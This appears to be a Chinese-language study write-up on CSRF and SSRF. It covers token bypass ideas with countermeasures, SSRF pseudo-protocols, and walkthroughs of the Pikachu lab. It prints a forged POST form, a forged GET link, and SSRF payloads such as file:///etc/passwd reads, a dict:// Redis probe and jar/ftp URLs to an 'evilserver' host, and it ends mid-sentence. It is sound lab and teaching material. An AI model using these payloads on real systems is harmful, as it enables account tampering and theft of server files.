目录
CSRF和XSS区别
CSRF(跨站请求伪造) | XSS(跨站脚本攻击) | |
攻击原理 |
|
|
攻击目标 |
|
|
攻击方式 |
|
|
防御方法 |
|
|
CSRF攻击步骤
1.攻击者确认网页存在CSRF漏洞,了解网站请求格式,如post,get.
2.构造恶意请求,比如恶意链接等
3.诱导受害者点击恶意网站,比如电子邮件,钓鱼网站等
总结CSRF构造post型页面方法
一、确定目标和参数
- 首先确定存在 CSRF 漏洞的目标页面以及执行敏感操作所需的参数。可以通过分析目标网站的正常请求或者使用浏览器的开发者工具来查看请求的参数。
- 记录下目标页面的 URL 和需要提交的参数名称及对应的值
二、创建 HTML 页面
<html>
<head>
<title>This is a Test Page</title>
<meta charset="UTF-8">
</head>
<body>
<form action="http://127.0.0.1:8848/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="hidden" name="sex" value="man" />
<input type="hidden" name="phonenum" value="15566778899" />
<input type="hidden" name="add" value="重庆邮电⼤学铁塔⻔保安室" />
<input type="hidden" name="email" value="cyber@cqupt.edu.cn" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="点我刷新⻚⾯" />
</form>
<script>history.pushState('','','/')</script>
<!-- 在浏览器的历史记录(history)中添加⼀个新的记录,⽽不会导致⻚⾯重新加载。⽤于实现⻚⾯的⽆刷新跳转或更新URL⽽不重新加载⻚⾯的效果。 -->
</body>
</html>
1
三、实施攻击
token类CSRF利用方法
1. Token 预测攻击
如果 CSRF 令牌是基于某种模式生成的(如顺序生成或易于预测),攻击者可能会尝试预测有效的令牌值。
防范措施:
使用强随机数生成器来生成不可预测的令牌。
确保令牌是唯一且具有足够的复杂性,以防止猜测攻击。
2. Token 重用攻击
如果 CSRF 令牌可以在多个请求中重复使用(即令牌没有过期机制),攻击者可以尝试重用一个有效的令牌。
防范措施:
令牌应具有短期有效性,并在每个请求中使用唯一的令牌。
实施令牌过期机制,确保令牌在一定时间后无效。
3. Token 泄露攻击
如果令牌通过不安全的渠道泄露(如在浏览器的 URL 中传递),攻击者可以截获并利用这些令牌。
防范措施:
通过安全的 HTTP POST 请求传递令牌,避免在 URL 或不安全的存储中使用令牌。
确保令牌不会暴露在浏览器历史记录或日志中。
4. Token 注入攻击
攻击者可能利用某些网站对令牌的处理不当,将恶意令牌注入到请求中。
防范措施:
服务器应严格验证 CSRF 令牌,并确保它们与用户的会话和请求匹配。
5. Token 验证缺陷
如果 CSRF 令牌的验证机制存在漏洞(如不检查令牌的合法性或不绑定到用户会话),攻击者可能绕过验证。
防范措施:
确保 CSRF 令牌的验证逻辑是正确的,令牌应与用户的会话绑定,并进行全面验证。
6. 跨站点脚本(XSS)结合 CSRF 攻击
在某些情况下,XSS 攻击可以与 CSRF 攻击结合,攻击者通过 XSS 获得令牌,然后利用它进行 CSRF 攻击。
防范措施:
防范 XSS 攻击,如对输入进行适当的验证和转义。
确保令牌在 XSS 攻击中不可被窃取,例如通过将令牌存储在 HTTP-only Cookies 中
SSRF(服务器端请求伪造)中常用的伪协议如下:
http/https协议
攻击者可以利用 HTTP/HTTPS 协议请求内部资源或第三方服务
file 协议
可以用于读取服务器本地文件。例如:http://target.com/ssrf.php?url=file:///etc/passwd
,如果服务器端没有对输入的 URL 进行严格过滤,可能会导致敏感信息泄露。
gopher 协议
可以构造各种网络请求,常用于攻击内网的 Redis、MySQL 等服务。例如,可以构造一个 gopher 协议的请求去攻击 Redis,实现未授权访问和恶意命令执行。
dict 协议
可用于查询字典服务,比如查询某个单词的定义等。例如:http://target.com/ssrf.php?url=dict://127.0.0.1:6379/info
,尝试对内网的 Redis 服务进行信息查询。
ftp 协议
可以用于访问 FTP 服务器。如果服务器端未对输入的 URL 进行严格验证,攻击者可能构造恶意的 FTP 链接来读取或写入文件,或者尝试访问内网中的 FTP 服务器以获取敏感信息。示例:http://target.com/ssrf.php?url=ftp://evilserver/file.txt
ldap 协议
用于访问轻型目录访问协议(LDAP)服务器。攻击者可能尝试利用此协议进行未授权的目录查询或执行其他恶意操作,尤其是针对内网中的 LDAP 服务器。示例:http://target.com/ssrf.php?url=ldap://192.168.1.100
tftp 协议
简单文件传输协议(TFTP)。攻击者可以尝试利用这个协议来读取或写入文件,尤其是在内网环境中。示例:http://target.com/ssrf.php?url=tftp://10.0.0.1/readme.txt
jar 协议
可以用于访问 Java Archive(JAR)文件中的资源。如果服务器端存在 Java 应用且处理不当,可能会导致敏感信息泄露或代码执行漏洞。示例:http://target.com/ssrf.php?url=jar:http://evilserver/malicious.jar!/path/to/resource
ssh 协议
理论上,如果服务器端有相关的 SSH 客户端实现且未正确防护,攻击者可能尝试利用 SSH 协议连接到内网中的其他服务器。但这种情况相对较少见,因为 SSH 通常需要用户交互进行身份验证。示例:http://target.com/ssrf.php?url=ssh://192.168.1.101
mailto 协议
可以触发邮件发送操作。虽然不太常用于直接的 SSRF 攻击,但可能在某些特定场景下被利用来探测邮件服务器或进行其他间接的攻击。示例:http://target.com/ssrf.php?url=mailto:admin@example.com
。
CSRF靶场通关
第一关(get)
进入界面
修改个人信息并抓包,发现是GET请求,则构造恶意链接
http://127.0.0.1:8848/vul/csrf/csrfget/csrf_get_edit.php?sex=%E4%B8%8D%E8%AF%A6&phonenum=14455667788&add=%E9%87%8D%E5%BA%86%E9%82%AE%E7%94%B5%E5%A4%A7%E5%AD%A6%E9%93%81%E5%A1%94%E9%97%A8%E4%BF%9D%E5%AE%89%E5%AE%A4&email=baoan%40cqupt.edu.cn&submit=submit
直接输入到url框内
修改成功
第二关(post)
抓包发现是POST请求
无法构造恶意链接,写html文档
改之前
修改成功
第三关(token)
利用burpsuite的CSRF token tracker进行攻击
SSRF靶场通关
pikachu靶场:
第一关curl:
从url框中发现此处传递参数是url,用http协议进行的访问
那么思路就是用file让服务器访问自己的本地文件
构造payload:(此处新建一个txt文件放到phpstudy中)
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///D:/phpstudy_pro/WWW/flag.txt
成功:
第二关file_get_content
分析url,发现file参数,从后端发现file_get_content函数
尝试访问外网:
和上一题一样,访问内网:
SSRF靶场源代码分析(加分!)
curl
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问题是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
根据源码可以看到,后端对传入的url参数没有做任何过滤,然后就直接对传入的参数执行了curl,从而导致了ssrf漏洞
file_get_content
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
根据源码可以看到,后端对传入的file参数没有做任何过滤,然后就直接对传入的路径进行了文件读取然后返回,从而导致了ssrf漏洞,和前面有点类